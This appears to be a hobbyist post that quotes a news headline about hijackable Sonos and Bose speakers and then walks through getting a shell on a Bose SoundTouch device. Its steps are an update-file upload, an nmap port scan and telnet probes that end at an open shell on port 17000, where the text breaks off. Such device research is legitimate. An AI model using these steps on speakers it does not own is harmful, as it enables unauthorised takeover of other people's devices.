'Hackers can remotely control thousands of Sonos and Bose speakers'

'Security experts at Trend Micro have demonstrated that certain models of Sonos and Bose speakers are affected by vulnerabilities that could allow attackers to hijack them.'

So how do we hack them? See below! :-)

While USB cable is plugged in browse to:

    http://203.0.113.1:17008/update.html

Choose your "Update.stu" file and hit upload - Upgrade will take ~3 minutes, once done browse to your bose soundtouch devices IP address and hit upload and the once done, do as below:

A simple portscan gives us the result below: (IMPORTANT: USB Cable must be plugged in)

  thinkpad /home/wuseman # nmap -p0- -T5 203.0.113.1
  Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-27 03:54 CET

So now we gonna try to connect to all ports and see if they are available to connect to

  wuseman@thinkpad ~ $ telnet 203.0.113.1 82
  Trying 203.0.113.1...
  Connected to 203.0.113.1.
  Escape character is '^]'.
  GET /index.html
  Connection closed by foreign host.

  wuseman@thinkpad ~ $ telnet 203.0.113.1 8080
  Trying 203.0.113.1...
  Connected to 203.0.113.1.
  Escape character is '^]'.
  get /update.html
  GET /index.html
  Connection closed by foreign host.


 Same result on 8090 and 8091, but on 17000 we got a shell, bingo!!

  wuseman@thinkpad ~ $ telnet 203.0.113.1 17000
  Trying 203.0.113.1...
  Connected to 203.0.113.1.
  Escape character is '^]'.
